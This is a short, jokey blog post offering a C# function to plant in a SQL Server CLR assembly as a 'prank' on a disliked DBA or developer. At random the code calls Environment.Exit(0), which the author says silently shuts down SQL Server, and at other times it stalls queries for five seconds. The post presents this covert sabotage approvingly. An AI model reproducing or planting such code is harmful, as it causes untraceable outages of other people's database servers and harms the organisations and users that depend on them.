Today I feel a bit evil minded so I thought I'd share this little prank-friendly function.

If you put this into a .Net Assembly you import to SQL Server as a function or a stored procedure

you can wreck some real havoc :)

private static void SQLPrank()
{
    Random r1 = new Random(DateTime.Now.Millisecond);
    int lowerBound = r1.Next(1000, 2000);
    int upperBound = r1.Next(3000, 4000);
    int randomNumber = r1.Next(1000, 4000);
    /*
    1000             2000             3000             4000
      |----------------|----------------|----------------|
      .....|...................................|..........
    random lower bound                  random upper bound
      ..........................|.........................
                        random number 
      |----|-----------------------------------|---------| 
       Exit          Normal operation             Wait
    */
    if (randomNumber >= 1000 && randomNumber < lowerBound)
        Environment.Exit(0);            
    else if (randomNumber >= upperBound && randomNumber < 4000)
        Thread.Sleep(5000);
}

The gem here is the Environment.Exit(0) which shuts down SQL Server without anyone having a clue why.

This is perfect for a prank on your least favorite DBA or developer. :)